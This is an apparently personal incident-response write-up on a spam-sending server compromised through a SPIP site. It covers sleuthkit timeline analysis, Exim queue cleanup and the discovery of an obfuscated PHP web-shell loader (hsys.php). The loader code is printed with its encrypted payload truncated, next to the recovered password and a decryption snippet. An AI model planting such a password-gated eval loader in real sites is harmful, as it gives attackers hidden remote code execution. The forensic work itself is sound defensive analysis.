Forensics on Incident 3

Context

2014-03-20 a friend's server is suspected to send spams

analysis

Almost no logs available, oldest log entry from Exim was 2014-03-18 00:37:59 so two days earlier.
Exim logs confirm a lot of spam is being sent by the server.
I installed a few forensics tools to gather more info.
Ideally, it would be better to do it from outside of the virtual machine

apt-get install tct sleuthkit
fls -r -m / /dev/xvda2 > xvda2.dump
mactime-sleuthkit -b xvda2.dump -p /etc/passwd 2014-01-01 > xvda2.dump.mac

Analysis of the timeline shows that on 2014-03-18 after midnight a lot of files were deleted and some error log, I forgot which one, mentioned "disk full". So what happened was what I suspected: the administrator cleaned some files, maybe logfiles too, to free some space.

In /var/spool/exim4/input/ I find emails in the queue, oldest from 2014-03-14 22:16, containing spam, and sent from www-data@hostname.
So problem was present before 2014-03-18
295738 emails are still in exim4 queue, oops
So I clean the queue, which seems to be not that easy:

exim4 -bp|grep -o "1W[[:alnum:]-]*"|xargs -n 1 exim4 -Mrm

Most is gone but the queue keeps being filled, so the malware is still active from the Apache user (www-data).
At this point I stop exim4 and apache
With mactime timeline I identify two suspect files:

2014-03-05 12:35 /var/www/.../spip/tmp/cache/skel/html____php_eval_base64_decode___POST_evv________php___d3135576b1e1eae4241edc0e24a2b047.php
2014-03-06 14:50 /var/www/.../spip/ecrire/lang/hsys.php

hsys.php

Is likely to be the malicious gift.
I kept a copy and started again exim4 with an eye kept open on the logs & queue.
I started Apache not before having configured some decent logging, which was simply disabled up to now.
hsys.php contains an encrypted payload, impossible to decrypt without the password submitted via POST or in a cookie.
I thought of doing some cryptanalysis but the plaintext to look for is gzipped.
Here is the code, with a truncated payload, and a bit of indentation:

<?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '', 'P7NA4RFrFxj ..... ZCbTBLY='));
$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
if($wp_wp!==NULL){
 $wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
 for($wp___wp=0;$wp___wp<15185;$wp___wp++){
  $wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);
  $wp_wp.=$wp__wp[$wp___wp];
 }
 if($wp__wp=@gzinflate($wp__wp)){
  if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);
  $wp___wp=create_function('',$wp__wp);
  unset($wp__wp,$wp_wp);
  $wp___wp();
 }
}?>
<form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

While watching the logs I saw repetitive attempts to access the hsys.php
That would be actually a good way to learn the password, so I created a new hsys.php:

<?php 
$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
if($wp_wp!==NULL){
  $myFile = "/tmp/hsys.log";
  $fh = fopen($myFile, 'a');
  fwrite($fh, $wp_wp);
  fwrite($fh, '\n');
  fclose($fh);
}
?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

After two seconds I got the password: huypizdaprovoda
Sounds russian...
IPs of the scripts trying to communicate with hsys.php are actually belonging to Russia too:

cat /var/log/apache2/error.log |grep -o "188.143[.0-9]*"|sort|uniq
188.143.232.147
188.143.232.189
188.143.232.30
188.143.232.45
188.143.233.136

Geoip:

188.143.232.147	RU	Saint-Petersburg, Petersburg Internet Network LLC
188.143.233.136	RU	Moscow,	Petersburg Internet Network LLC

With the password we can decrypt the payload, just assign $wp_wp:

$wp_wp="huypizdaprovoda";
if($wp_wp!==NULL){
 $wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
 for($wp___wp=0;$wp___wp<15185;$wp___wp++){
  $wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);
  $wp_wp.=$wp__wp[$wp___wp];
 }
 if($wp__wp=@gzinflate($wp__wp)) print $wp__wp;

This returns the payload, which can be encapsulated as:

<?php 
function foo () {
  ...payload...
}
foo();
?>